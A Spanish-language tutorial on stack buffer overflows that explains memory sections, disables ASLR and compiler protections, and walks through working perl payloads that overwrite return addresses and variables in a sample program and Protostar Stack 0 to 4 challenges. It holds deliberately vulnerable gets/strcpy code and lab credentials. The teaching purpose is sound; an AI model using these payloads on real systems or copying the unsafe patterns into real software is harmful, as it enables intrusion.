Stack Overflow
Estructura de un programa
Un programa está dividido por zonas: .text, .data y .bss.
TEXT
El .text almacena todas las instrucciones del programa. Para ahorrar recursos está sección es compartida por diferentes instancias del programa, si las hay.
DATA
En .data se almacenan las variables globales o estáticas inicializadas.
BSS
En el .bss se guardan las variables globales o estáticas no inicializadas.
Estas 3 secciones se pueden consultar mediante el comando size program
$ size ejemplo0
text data bss dec hex filename
1837 600 8 2445 98d ejemplo0
STACK
En el stack se guardan las varibles de entorno (nombre y ruta del ejecutable). Los argunemtos (./program arg1 arg2
). Variables locales sin inicializar. Cuando una función es llamada el registro Instruction Point (IP) es almacenado en el stack, para saber donde continuar al ejecutar las instrucción RET
.
Al IP también se le conoce como Program Counter (PC) o Instruction Address Register (IAR).
Es importante recordar que la pila crece hacia abajo (es decir hacia las direcciones más pequeñas). Pero las variables, por ejemplo un buffer crece hacia arriba.
HEAP
En el heap se guardan las variables dinámicas (cuando usamos malloc() , realloc() o calloc() )
Creando ambiente de pruebas
Puede descargar el .iso de Protostar o bien compilar los programas por usted mismo. Puede usar una VM o un contenedor 32b.
$ docker run --rm -it --privileged --hostname stackoverflow i686/ubuntu bash
Deshabilitar ASLR
Deshabilitar la opción randomize_va_space de Linux. Esto es un mecanismo de aleatorización de memoria. ASLR - Address Space Layout Randomization
ASLR trata de evitar que las direcciones de memoria sean conocidas y así prevenir ataques que dependen del conocimiento de estas direcciones (tipo return2libc y otros). Hardening de binarios
# echo 0 > /proc/sys/kernel/randomize_va_space
Al finalizar las pruebas no olvide habilitarla con:
# echo 2 > /proc/sys/kernel/randomize_va_space
También puede deshabilitar ASLR para una ejecución:
setarch `uname -m` -R ./programa
Si está usando un contenedor Docker, con la opción --privileged esta acción también afectara el host (Sistema Operativo anfitrión). Lo puede comprobar con ejecutando cat /proc/sys/kernel/randomize_va_space
en host. Si no creó el contenedor con dicha opción no podrá ejecutar estos comandos.
Compilar
$ gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack program.c -o program
Ejemplos
Ejemplo 0x00 (x86)
La intención de este ejemplo es ejecutar la función overflow() aprovechando el desbordamiento del buffer. Para que sobre escriba la dirección de retorno.
Explotando strcpy()
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void overflow(char *arg){
char buffer[16];
strcpy(buffer, arg);
printf("Buffer: %s.\n",buffer);
}
int main(int argc, char **argv){
if(argc != 2){
printf("Buffer ingresado: %s\n", argv[0]);
exit(0);
}
overflow(argv[1]);
return 0;
}
Compilamos
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack ejemplo0x00.c -o ejemplo0x00
Usamos perl para evitar ingresar una cantidad excesiva de caracteres, en este caso 16 letras "A" .
$ ./ejemplo0x00 `perl -e 'print "A"x16'`
Buffer: AAAAAAAAAAAAAAAA.
$ echo $?
0
$ ./ejemplo0x00 `perl -e 'print "A"x17'`
Buffer: AAAAAAAAAAAAAAAAA.
Segmentation fault
$ echo $?
139
Al ingresar solo 16 caracteres, el comando echo $?
muestra un 0 que significa que La acción se ha completado satisfactoriamente. Y claramente el error 139 indica Segmentation fault.
$ ./ejemplo0x00 `perl -e 'print "A"x23'`
Buffer: AAAAAAAAAAAAAAAAAAAAAAA.
Bus error
$ ./ejemplo0x00 `perl -e 'print "A"x24'`
Buffer: AAAAAAAAAAAAAAAAAAAAAAAA.
Illegal instruction
Para ver la dirección de memoria de overflow()
se puede usar el comando objdump
. Y agregarla al final de la cadena. Basta con ingresar esta dirección al final de buffer. La dirreción podría variar.
$ objdump -d ejemplo0x00 | grep overflow
0804846b <overflow>:
Para ser mas exactos se puede usar gdb se puede ver el desplazamiento en donde debemos insertar la dirección del overflow().
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKK.
Starting program: /home/user/toolsec/Stcak_overflow/ejemplo0x00 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKK.
Buffer: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKK..
Program received signal SIGSEGV, Segmentation fault.
0x48484848
Como 0x48 es la letra H en ascii. Sería 8 x 4 = 32. En el byte 32 escribiremos la dirección del overflow() de izquierda a derecha (little endian).
$ ./ejemplo0x00 `perl -e 'print "A"x28 . "\x6b\x84\x04\x08"'`
Buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAk�.
Buffer: 0.
Segmentation fault (core dumped)
CTF
Retos obtenidos de Protostar. Los ejecutables se encuentra en la ruta /opt/protostar/bin/
. Usuarios: user / user
y root / godmode
. Y el código y consejos se pueden tomar de Protostar.
Stack 0
Desbordar el buffer para cambiar el valor de la variable modified
.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv){
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if (modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
$ perl -e 'print "a"x76' | ./stack0
Try again?
$ perl -e 'print "a"x77' | ./stack0
you have changed the 'modified' variable
Stack 1
Desbordar el buffer para cambiar la variable modified
con el valor 0x61626364.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main (int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1)
errx(1, "Please, specify an argument\n");
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364)
printf("You have correctly got the variable to the right value\n");
else
printf("Try again, you got 0x%08x\n", modified);
}
$ ./stack1 `perl -e 'print "a"x64 ."\x64\x63\x62\x61"'`
Stack 2
Igual que el anterior pero usando variable una variable de entorno llamada GREENIE
para pasar el buffer.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
$ export GREENIE=`perl -e 'print "a"x64 . "\x0a\x0d\x0a\x0d"'`
$ ./stack2
Stack 3
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
Tenemos que modificar el puntero de la función fp() por el de la función wun().
$ objdump -d ./stack3 | grep "win"
0804845d <win>:
$ perl -e 'print "a"x64 . "\x5d\x84\x04\x08"' | ./stack3
Stack 4
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
(gdb) run
Starting program: /root/stack4
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
Se produce el error en el byte 54 que es la letra T. 20 x 4 = 80.
$ objdump -d ./stack4 | grep "win"
0804842d <win>:
$ perl -e 'print "a"x76 . "\x2d\x84\x04\x08"' | ./stack4 # (76 + 4)
code flow successfully changed
Segmentation fault (core dumped)
Continuará...